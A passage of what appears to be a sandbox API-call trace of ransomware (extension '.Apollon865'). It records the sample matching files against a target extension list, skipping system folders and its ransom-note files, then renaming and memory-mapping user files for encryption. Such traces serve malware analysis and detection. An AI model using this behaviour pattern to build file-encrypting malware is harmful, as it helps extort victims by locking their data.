	[0087.685] lstrlenW (lpString="kexic") returned 5
	[0087.685] lstrcmpiW (lpString1="G.m4a", lpString2="kexic") returned -1
	[0087.685] lstrlenW (lpString="kexis") returned 5
	[0087.685] lstrcmpiW (lpString1="G.m4a", lpString2="kexis") returned -1
	[0087.685] lstrlenW (lpString="lgc") returned 3
	[0087.685] lstrcmpiW (lpString1="m4a", lpString2="lgc") returned 1
	[0087.685] lstrlenW (lpString="lwx") returned 3
	[0087.685] lstrcmpiW (lpString1="m4a", lpString2="lwx") returned 1
	[0087.686] lstrlenW (lpString="maf") returned 3
	[0087.686] lstrcmpiW (lpString1="m4a", lpString2="maf") returned -1
	[0087.686] lstrlenW (lpString="maq") returned 3
	[0087.686] lstrcmpiW (lpString1="m4a", lpString2="maq") returned -1
	[0087.686] lstrlenW (lpString="mar") returned 3
	[0087.686] lstrcmpiW (lpString1="m4a", lpString2="mar") returned -1
	[0087.686] lstrlenW (lpString="marshal") returned 7
	[0087.686] lstrcmpiW (lpString1="BCG.m4a", lpString2="marshal") returned -1
	[0087.686] lstrlenW (lpString="mas") returned 3
	[0087.686] lstrcmpiW (lpString1="m4a", lpString2="mas") returned -1
	[0087.686] lstrlenW (lpString="mav") returned 3
	[0087.686] lstrcmpiW (lpString1="m4a", lpString2="mav") returned -1
	[0087.686] lstrlenW (lpString="maw") returned 3
	[0087.686] lstrcmpiW (lpString1="m4a", lpString2="maw") returned -1
	[0087.686] lstrlenW (lpString="mdbhtml") returned 7
	[0087.686] lstrcmpiW (lpString1="BCG.m4a", lpString2="mdbhtml") returned -1
	[0087.686] lstrlenW (lpString="mdn") returned 3
	[0087.686] lstrcmpiW (lpString1="m4a", lpString2="mdn") returned -1
	[0087.686] lstrlenW (lpString="mdt") returned 3
	[0087.686] lstrcmpiW (lpString1="m4a", lpString2="mdt") returned -1
	[0087.686] lstrlenW (lpString="mfd") returned 3
	[0087.686] lstrcmpiW (lpString1="m4a", lpString2="mfd") returned -1
	[0087.686] lstrlenW (lpString="mpd") returned 3
	[0087.686] lstrcmpiW (lpString1="m4a", lpString2="mpd") returned -1
	[0087.686] lstrlenW (lpString="mrg") returned 3
	[0087.686] lstrcmpiW (lpString1="m4a", lpString2="mrg") returned -1
	[0087.686] lstrlenW (lpString="mud") returned 3
	[0087.686] lstrcmpiW (lpString1="m4a", lpString2="mud") returned -1
	[0087.686] lstrlenW (lpString="mwb") returned 3
	[0087.686] lstrcmpiW (lpString1="m4a", lpString2="mwb") returned -1
	[0087.686] lstrlenW (lpString="myd") returned 3
	[0087.686] lstrcmpiW (lpString1="m4a", lpString2="myd") returned -1
	[0087.686] lstrlenW (lpString="ndf") returned 3
	[0087.686] lstrcmpiW (lpString1="m4a", lpString2="ndf") returned -1
	[0087.686] lstrlenW (lpString="nnt") returned 3
	[0087.687] lstrcmpiW (lpString1="m4a", lpString2="nnt") returned -1
	[0087.687] lstrlenW (lpString="nrmlib") returned 6
	[0087.687] lstrcmpiW (lpString1="CG.m4a", lpString2="nrmlib") returned -1
	[0087.687] lstrlenW (lpString="ns2") returned 3
	[0087.687] lstrcmpiW (lpString1="m4a", lpString2="ns2") returned -1
	[0087.687] lstrlenW (lpString="ns3") returned 3
	[0087.687] lstrcmpiW (lpString1="m4a", lpString2="ns3") returned -1
	[0087.687] lstrlenW (lpString="ns4") returned 3
	[0087.687] lstrcmpiW (lpString1="m4a", lpString2="ns4") returned -1
	[0087.687] lstrlenW (lpString="nsf") returned 3
	[0087.687] lstrcmpiW (lpString1="m4a", lpString2="nsf") returned -1
	[0087.687] lstrlenW (lpString="nv") returned 2
	[0087.687] lstrcmpiW (lpString1="4a", lpString2="nv") returned -1
	[0087.687] lstrlenW (lpString="nv2") returned 3
	[0087.687] lstrcmpiW (lpString1="m4a", lpString2="nv2") returned -1
	[0087.687] lstrlenW (lpString="nwdb") returned 4
	[0087.687] lstrcmpiW (lpString1=".m4a", lpString2="nwdb") returned -1
	[0087.687] lstrlenW (lpString="nyf") returned 3
	[0087.687] lstrcmpiW (lpString1="m4a", lpString2="nyf") returned -1
	[0087.687] lstrlenW (lpString="odb") returned 3
	[0087.687] lstrcmpiW (lpString1="m4a", lpString2="odb") returned -1
	[0087.687] lstrlenW (lpString="odb") returned 3
	[0087.687] lstrcmpiW (lpString1="m4a", lpString2="odb") returned -1
	[0087.687] lstrlenW (lpString="oqy") returned 3
	[0087.687] lstrcmpiW (lpString1="m4a", lpString2="oqy") returned -1
	[0087.687] lstrlenW (lpString="ora") returned 3
	[0087.687] lstrcmpiW (lpString1="m4a", lpString2="ora") returned -1
	[0087.687] lstrlenW (lpString="orx") returned 3
	[0087.688] lstrcmpiW (lpString1="m4a", lpString2="orx") returned -1
	[0087.688] lstrlenW (lpString="owc") returned 3
	[0087.688] lstrcmpiW (lpString1="m4a", lpString2="owc") returned -1
	[0087.688] lstrlenW (lpString="p96") returned 3
	[0087.688] lstrcmpiW (lpString1="m4a", lpString2="p96") returned -1
	[0087.688] lstrlenW (lpString="p97") returned 3
	[0087.688] lstrcmpiW (lpString1="m4a", lpString2="p97") returned -1
	[0087.688] lstrlenW (lpString="pan") returned 3
	[0087.688] lstrcmpiW (lpString1="m4a", lpString2="pan") returned -1
	[0087.688] lstrlenW (lpString="pdb") returned 3
	[0087.688] lstrcmpiW (lpString1="m4a", lpString2="pdb") returned -1
	[0087.688] lstrlenW (lpString="pdm") returned 3
	[0087.688] lstrcmpiW (lpString1="m4a", lpString2="pdm") returned -1
	[0087.688] lstrlenW (lpString="pnz") returned 3
	[0087.688] lstrcmpiW (lpString1="m4a", lpString2="pnz") returned -1
	[0087.688] lstrlenW (lpString="qry") returned 3
	[0087.688] lstrcmpiW (lpString1="m4a", lpString2="qry") returned -1
	[0087.688] lstrlenW (lpString="qvd") returned 3
	[0087.688] lstrcmpiW (lpString1="m4a", lpString2="qvd") returned -1
	[0087.688] lstrlenW (lpString="rbf") returned 3
	[0087.688] lstrcmpiW (lpString1="m4a", lpString2="rbf") returned -1
	[0087.688] lstrlenW (lpString="rctd") returned 4
	[0087.688] lstrcmpiW (lpString1=".m4a", lpString2="rctd") returned -1
	[0087.688] lstrlenW (lpString="rod") returned 3
	[0087.688] lstrcmpiW (lpString1="m4a", lpString2="rod") returned -1
	[0087.688] lstrlenW (lpString="rodx") returned 4
	[0087.689] lstrcmpiW (lpString1=".m4a", lpString2="rodx") returned -1
	[0087.689] lstrlenW (lpString="rpd") returned 3
	[0087.689] lstrcmpiW (lpString1="m4a", lpString2="rpd") returned -1
	[0087.689] lstrlenW (lpString="rsd") returned 3
	[0087.689] lstrcmpiW (lpString1="m4a", lpString2="rsd") returned -1
	[0087.689] lstrlenW (lpString="sas7bdat") returned 8
	[0087.689] lstrcmpiW (lpString1="HBCG.m4a", lpString2="sas7bdat") returned -1
	[0087.689] lstrlenW (lpString="sbf") returned 3
	[0087.689] lstrcmpiW (lpString1="m4a", lpString2="sbf") returned -1
	[0087.689] lstrlenW (lpString="scx") returned 3
	[0087.689] lstrcmpiW (lpString1="m4a", lpString2="scx") returned -1
	[0087.689] lstrlenW (lpString="sdb") returned 3
	[0087.689] lstrcmpiW (lpString1="m4a", lpString2="sdb") returned -1
	[0087.689] lstrlenW (lpString="sdc") returned 3
	[0087.689] lstrcmpiW (lpString1="m4a", lpString2="sdc") returned -1
	[0087.689] lstrlenW (lpString="sdf") returned 3
	[0087.689] lstrcmpiW (lpString1="m4a", lpString2="sdf") returned -1
	[0087.689] lstrlenW (lpString="sis") returned 3
	[0087.689] lstrcmpiW (lpString1="m4a", lpString2="sis") returned -1
	[0087.689] lstrlenW (lpString="spq") returned 3
	[0087.689] lstrcmpiW (lpString1="m4a", lpString2="spq") returned -1
	[0087.689] lstrlenW (lpString="te") returned 2
	[0087.689] lstrcmpiW (lpString1="4a", lpString2="te") returned -1
	[0087.689] lstrlenW (lpString="teacher") returned 7
	[0087.689] lstrcmpiW (lpString1="BCG.m4a", lpString2="teacher") returned -1
	[0087.689] lstrlenW (lpString="tmd") returned 3
	[0087.689] lstrcmpiW (lpString1="m4a", lpString2="tmd") returned -1
	[0087.689] lstrlenW (lpString="tps") returned 3
	[0087.689] lstrcmpiW (lpString1="m4a", lpString2="tps") returned -1
	[0087.689] lstrlenW (lpString="trc") returned 3
	[0087.689] lstrcmpiW (lpString1="m4a", lpString2="trc") returned -1
	[0087.689] lstrlenW (lpString="trc") returned 3
	[0087.689] lstrcmpiW (lpString1="m4a", lpString2="trc") returned -1
	[0087.689] lstrlenW (lpString="trm") returned 3
	[0087.689] lstrcmpiW (lpString1="m4a", lpString2="trm") returned -1
	[0087.690] lstrlenW (lpString="udb") returned 3
	[0087.690] lstrcmpiW (lpString1="m4a", lpString2="udb") returned -1
	[0087.690] lstrlenW (lpString="udl") returned 3
	[0087.690] lstrcmpiW (lpString1="m4a", lpString2="udl") returned -1
	[0087.690] lstrlenW (lpString="usr") returned 3
	[0087.690] lstrcmpiW (lpString1="m4a", lpString2="usr") returned -1
	[0087.690] lstrlenW (lpString="v12") returned 3
	[0087.690] lstrcmpiW (lpString1="m4a", lpString2="v12") returned -1
	[0087.690] lstrlenW (lpString="vis") returned 3
	[0087.690] lstrcmpiW (lpString1="m4a", lpString2="vis") returned -1
	[0087.690] lstrlenW (lpString="vpd") returned 3
	[0087.690] lstrcmpiW (lpString1="m4a", lpString2="vpd") returned -1
	[0087.690] lstrlenW (lpString="vvv") returned 3
	[0087.690] lstrcmpiW (lpString1="m4a", lpString2="vvv") returned -1
	[0087.690] lstrlenW (lpString="wdb") returned 3
	[0087.690] lstrcmpiW (lpString1="m4a", lpString2="wdb") returned -1
	[0087.690] lstrlenW (lpString="wmdb") returned 4
	[0087.690] lstrcmpiW (lpString1=".m4a", lpString2="wmdb") returned -1
	[0087.690] lstrlenW (lpString="wrk") returned 3
	[0087.690] lstrcmpiW (lpString1="m4a", lpString2="wrk") returned -1
	[0087.690] lstrlenW (lpString="xdb") returned 3
	[0087.690] lstrcmpiW (lpString1="m4a", lpString2="xdb") returned -1
	[0087.690] lstrlenW (lpString="xld") returned 3
	[0087.690] lstrcmpiW (lpString1="m4a", lpString2="xld") returned -1
	[0087.690] lstrlenW (lpString="xmlff") returned 5
	[0087.690] lstrcmpiW (lpString1="G.m4a", lpString2="xmlff") returned -1
	[0087.690] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r_zrpoqlujHBCG.m4a.Apollon865") returned 65
	[0087.690] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r_zrpoqlujHBCG.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r_zrpoqlujhbcg.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r_zrpoqlujHBCG.m4a.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r_zrpoqlujhbcg.m4a.apollon865"), dwFlags=0x1) returned 1
	[0087.692] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r_zrpoqlujHBCG.m4a.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r_zrpoqlujhbcg.m4a.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.692] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=55215) returned 1
	[0087.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.693] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.693] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.693] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.694] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.694] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.694] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdab0, lpName=0x0) returned 0x15c
	[0087.694] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdab0) returned 0x100000
	[0087.696] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.697] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.697] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.697] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.697] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.697] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.697] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.697] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.697] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.697] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.697] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.697] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.697] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.697] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.698] CloseHandle (hObject=0x15c) returned 1
	[0087.698] CloseHandle (hObject=0x9c) returned 1
	[0087.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.699] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93e28b0, ftCreationTime.dwHighDateTime=0x1d4c62f, ftLastAccessTime.dwLowDateTime=0x303c2830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303c2830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ULhWU", cAlternateFileName="")) returned 1
	[0087.699] lstrcmpiW (lpString1="ULhWU", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.699] lstrcmpiW (lpString1="ULhWU", lpString2="Apollon865.txt.exe") returned 1
	[0087.699] lstrcmpiW (lpString1="ULhWU", lpString2=".") returned 1
	[0087.699] lstrcmpiW (lpString1="ULhWU", lpString2="..") returned 1
	[0087.700] lstrcmpiW (lpString1="ULhWU", lpString2="windows") returned -1
	[0087.700] lstrcmpiW (lpString1="ULhWU", lpString2="bootmgr") returned 1
	[0087.700] lstrcmpiW (lpString1="ULhWU", lpString2="temp") returned 1
	[0087.700] lstrcmpiW (lpString1="ULhWU", lpString2="pagefile.sys") returned 1
	[0087.700] lstrcmpiW (lpString1="ULhWU", lpString2="boot") returned 1
	[0087.700] lstrcmpiW (lpString1="ULhWU", lpString2="ids.txt") returned 1
	[0087.700] lstrcmpiW (lpString1="ULhWU", lpString2="ntuser.dat") returned 1
	[0087.700] lstrcmpiW (lpString1="ULhWU", lpString2="perflogs") returned 1
	[0087.700] lstrcmpiW (lpString1="ULhWU", lpString2="MSBuild") returned 1
	[0087.700] lstrlenW (lpString="ULhWU") returned 5
	[0087.700] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r_zrpoqlujHBCG.m4a") returned 54
	[0087.700] lstrcpyW (in: lpString1=0x119e650, lpString2="ULhWU" | out: lpString1="ULhWU") returned="ULhWU"
	[0087.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0087.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x5983a8
	[0087.700] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b70 | out: ListHead=0x5b75f0, ListEntry=0x5b7b70) returned 0x5b7970
	[0087.700] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96112390, ftCreationTime.dwHighDateTime=0x1d4c996, ftLastAccessTime.dwLowDateTime=0x9d090e90, ftLastAccessTime.dwHighDateTime=0x1d4ccf4, ftLastWriteTime.dwLowDateTime=0x9d090e90, ftLastWriteTime.dwHighDateTime=0x1d4ccf4, nFileSizeHigh=0x0, nFileSizeLow=0x1f17, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Uu20-N2ZT5RSLO6.wav", cAlternateFileName="UU20-N~1.WAV")) returned 1
	[0087.700] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.700] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="Apollon865.txt.exe") returned 1
	[0087.700] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2=".") returned 1
	[0087.700] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="..") returned 1
	[0087.700] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="windows") returned -1
	[0087.700] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="bootmgr") returned 1
	[0087.700] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="temp") returned 1
	[0087.700] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="pagefile.sys") returned 1
	[0087.700] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="boot") returned 1
	[0087.700] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="ids.txt") returned 1
	[0087.701] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="ntuser.dat") returned 1
	[0087.701] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="perflogs") returned 1
	[0087.701] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="MSBuild") returned 1
	[0087.701] lstrlenW (lpString="Uu20-N2ZT5RSLO6.wav") returned 19
	[0087.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU") returned 41
	[0087.701] lstrcpyW (in: lpString1=0x119e650, lpString2="Uu20-N2ZT5RSLO6.wav" | out: lpString1="Uu20-N2ZT5RSLO6.wav") returned="Uu20-N2ZT5RSLO6.wav"
	[0087.701] lstrlenW (lpString="Uu20-N2ZT5RSLO6.wav") returned 19
	[0087.701] lstrlenW (lpString="Apollon865") returned 10
	[0087.701] lstrcmpiW (lpString1="5RSLO6.wav", lpString2="Apollon865") returned -1
	[0087.701] lstrlenW (lpString=".dll") returned 4
	[0087.701] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2=".dll") returned 1
	[0087.701] lstrlenW (lpString=".lnk") returned 4
	[0087.701] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2=".lnk") returned 1
	[0087.701] lstrlenW (lpString=".ini") returned 4
	[0087.701] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2=".ini") returned 1
	[0087.701] lstrlenW (lpString=".sys") returned 4
	[0087.701] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2=".sys") returned 1
	[0087.701] lstrlenW (lpString="Uu20-N2ZT5RSLO6.wav") returned 19
	[0087.701] lstrlenW (lpString="bak") returned 3
	[0087.701] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1
	[0087.701] lstrlenW (lpString="ba_") returned 3
	[0087.701] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1
	[0087.701] lstrlenW (lpString="dbb") returned 3
	[0087.701] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1
	[0087.701] lstrlenW (lpString="vmdk") returned 4
	[0087.701] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1
	[0087.701] lstrlenW (lpString="rar") returned 3
	[0087.701] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1
	[0087.702] lstrlenW (lpString="zip") returned 3
	[0087.702] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1
	[0087.702] lstrlenW (lpString="tgz") returned 3
	[0087.702] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1
	[0087.702] lstrlenW (lpString="vbox") returned 4
	[0087.702] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1
	[0087.702] lstrlenW (lpString="vdi") returned 3
	[0087.702] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1
	[0087.702] lstrlenW (lpString="vhd") returned 3
	[0087.702] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1
	[0087.702] lstrlenW (lpString="vhdx") returned 4
	[0087.702] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1
	[0087.702] lstrlenW (lpString="avhd") returned 4
	[0087.702] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1
	[0087.702] lstrlenW (lpString="db") returned 2
	[0087.702] lstrcmpiW (lpString1="av", lpString2="db") returned -1
	[0087.702] lstrlenW (lpString="db2") returned 3
	[0087.702] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1
	[0087.702] lstrlenW (lpString="db3") returned 3
	[0087.702] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1
	[0087.702] lstrlenW (lpString="dbf") returned 3
	[0087.702] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1
	[0087.702] lstrlenW (lpString="mdf") returned 3
	[0087.702] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1
	[0087.702] lstrlenW (lpString="mdb") returned 3
	[0087.702] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1
	[0087.702] lstrlenW (lpString="sql") returned 3
	[0087.702] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1
	[0087.702] lstrlenW (lpString="sqlite") returned 6
	[0087.702] lstrcmpiW (lpString1="O6.wav", lpString2="sqlite") returned -1
	[0087.702] lstrlenW (lpString="sqlite3") returned 7
	[0087.702] lstrcmpiW (lpString1="LO6.wav", lpString2="sqlite3") returned -1
	[0087.702] lstrlenW (lpString="sqlitedb") returned 8
	[0087.702] lstrcmpiW (lpString1="SLO6.wav", lpString2="sqlitedb") returned -1
	[0087.702] lstrlenW (lpString="xml") returned 3
	[0087.703] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1
	[0087.703] lstrlenW (lpString="$er") returned 3
	[0087.703] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1
	[0087.703] lstrlenW (lpString="4dd") returned 3
	[0087.703] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1
	[0087.703] lstrlenW (lpString="4dl") returned 3
	[0087.703] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1
	[0087.703] lstrlenW (lpString="^^^") returned 3
	[0087.703] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1
	[0087.703] lstrlenW (lpString="abs") returned 3
	[0087.703] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1
	[0087.703] lstrlenW (lpString="abx") returned 3
	[0087.703] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1
	[0087.703] lstrlenW (lpString="accdb") returned 5
	[0087.703] lstrcmpiW (lpString1="6.wav", lpString2="accdb") returned -1
	[0087.703] lstrlenW (lpString="accdc") returned 5
	[0087.703] lstrcmpiW (lpString1="6.wav", lpString2="accdc") returned -1
	[0087.703] lstrlenW (lpString="accde") returned 5
	[0087.703] lstrcmpiW (lpString1="6.wav", lpString2="accde") returned -1
	[0087.703] lstrlenW (lpString="accdr") returned 5
	[0087.703] lstrcmpiW (lpString1="6.wav", lpString2="accdr") returned -1
	[0087.703] lstrlenW (lpString="accdt") returned 5
	[0087.703] lstrcmpiW (lpString1="6.wav", lpString2="accdt") returned -1
	[0087.703] lstrlenW (lpString="accdw") returned 5
	[0087.703] lstrcmpiW (lpString1="6.wav", lpString2="accdw") returned -1
	[0087.703] lstrlenW (lpString="accft") returned 5
	[0087.703] lstrcmpiW (lpString1="6.wav", lpString2="accft") returned -1
	[0087.703] lstrlenW (lpString="adb") returned 3
	[0087.703] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0087.703] lstrlenW (lpString="adb") returned 3
	[0087.703] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0087.704] lstrlenW (lpString="ade") returned 3
	[0087.704] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1
	[0087.704] lstrlenW (lpString="adf") returned 3
	[0087.704] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1
	[0087.704] lstrlenW (lpString="adn") returned 3
	[0087.704] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1
	[0087.704] lstrlenW (lpString="adp") returned 3
	[0087.704] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1
	[0087.704] lstrlenW (lpString="alf") returned 3
	[0087.704] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1
	[0087.704] lstrlenW (lpString="ask") returned 3
	[0087.704] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1
	[0087.704] lstrlenW (lpString="btr") returned 3
	[0087.704] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1
	[0087.704] lstrlenW (lpString="cat") returned 3
	[0087.704] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1
	[0087.704] lstrlenW (lpString="cdb") returned 3
	[0087.704] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1
	[0087.704] lstrlenW (lpString="ckp") returned 3
	[0087.704] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1
	[0087.704] lstrlenW (lpString="cma") returned 3
	[0087.704] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1
	[0087.704] lstrlenW (lpString="cpd") returned 3
	[0087.704] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1
	[0087.704] lstrlenW (lpString="dacpac") returned 6
	[0087.704] lstrcmpiW (lpString1="O6.wav", lpString2="dacpac") returned 1
	[0087.704] lstrlenW (lpString="dad") returned 3
	[0087.705] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1
	[0087.705] lstrlenW (lpString="dadiagrams") returned 10
	[0087.705] lstrcmpiW (lpString1="5RSLO6.wav", lpString2="dadiagrams") returned -1
	[0087.705] lstrlenW (lpString="daschema") returned 8
	[0087.705] lstrcmpiW (lpString1="SLO6.wav", lpString2="daschema") returned 1
	[0087.705] lstrlenW (lpString="db-journal") returned 10
	[0087.705] lstrcmpiW (lpString1="5RSLO6.wav", lpString2="db-journal") returned -1
	[0087.705] lstrlenW (lpString="db-shm") returned 6
	[0087.705] lstrcmpiW (lpString1="O6.wav", lpString2="db-shm") returned 1
	[0087.705] lstrlenW (lpString="db-wal") returned 6
	[0087.705] lstrcmpiW (lpString1="O6.wav", lpString2="db-wal") returned 1
	[0087.705] lstrlenW (lpString="dbc") returned 3
	[0087.705] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1
	[0087.705] lstrlenW (lpString="dbs") returned 3
	[0087.705] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1
	[0087.705] lstrlenW (lpString="dbt") returned 3
	[0087.705] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1
	[0087.705] lstrlenW (lpString="dbv") returned 3
	[0087.705] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1
	[0087.705] lstrlenW (lpString="dbx") returned 3
	[0087.705] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1
	[0087.705] lstrlenW (lpString="dcb") returned 3
	[0087.705] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1
	[0087.705] lstrlenW (lpString="dct") returned 3
	[0087.705] lstrcmpiW (lpString1="wav", lpString2="dct") returned 1
	[0087.705] lstrlenW (lpString="dcx") returned 3
	[0087.705] lstrcmpiW (lpString1="wav", lpString2="dcx") returned 1
	[0087.705] lstrlenW (lpString="ddl") returned 3
	[0087.705] lstrcmpiW (lpString1="wav", lpString2="ddl") returned 1
	[0087.705] lstrlenW (lpString="dlis") returned 4
	[0087.705] lstrcmpiW (lpString1=".wav", lpString2="dlis") returned -1
